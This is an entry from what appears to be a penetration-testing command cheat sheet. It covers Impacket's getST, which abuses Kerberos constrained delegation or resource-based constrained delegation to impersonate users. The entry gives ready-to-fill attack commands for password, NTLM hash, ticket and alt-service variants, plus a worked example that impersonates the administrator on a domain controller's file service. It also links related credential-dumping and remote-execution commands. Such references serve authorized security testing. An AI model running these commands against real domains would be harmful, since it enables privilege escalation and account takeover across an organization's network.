Impacket getST (S4U)
Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
- Tool
- impacket-getST
- Category
- Privilege Escalation / Delegation Abuse
- Platform
- linux
- Requires
- password
- Protocols
- KERBEROS
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-getST -spn '<service>/<target_host>' -impersonate '<target_user>' '<domain>/<user>:<password>' -dc-ip <ip>
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
impacket-getST -spn '<service>/<target_host>' -impersonate '<target_user>' -hashes ':<hash>' '<domain>/<user>' -dc-ip <ip>
Kerberos Ticket requires Kerberos ticket
impacket-getST -spn '<service>/<target_host>' -impersonate '<target_user>' -k -no-pass '<domain>/<user>' -dc-ip <ip>
Alt-Service Swap requires NTLM hash
impacket-getST -spn '<service>/<target_host>' -impersonate '<target_user>' -hashes ':<hash>' '<domain>/<user>' -dc-ip <ip> -altservice '<alt_service>'
Examples
impacket-getST -spn 'cifs/dc01.corp.local' -impersonate 'administrator' 'corp.local/svc_account:password' -dc-ip 192.168.1.100
Tags
Related commands
- Impacket PSExec Execute commands via PSExec service
- Impacket WMIExec Execute commands via WMI (Windows Management Instrumentation)
- Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
- bloodyAD add badSuccessor Create a Delegated Managed Service Account (dMSA) and chain it via…
- bloodyAD Set RBCD Configure Resource-Based Constrained Delegation: write…
- Impacket Add Computer Create a new computer account in Active Directory (used for RBCD attacks)
- Impacket RBCD Write Write msDS-AllowedToActOnBehalfOfOtherIdentity to configure RBCD on a target
- NetExec badsuccessor Module (dMSA Abuse) Detect BadSuccessor dMSA-link abuse: a Server 2025 delegated Managed Service Account…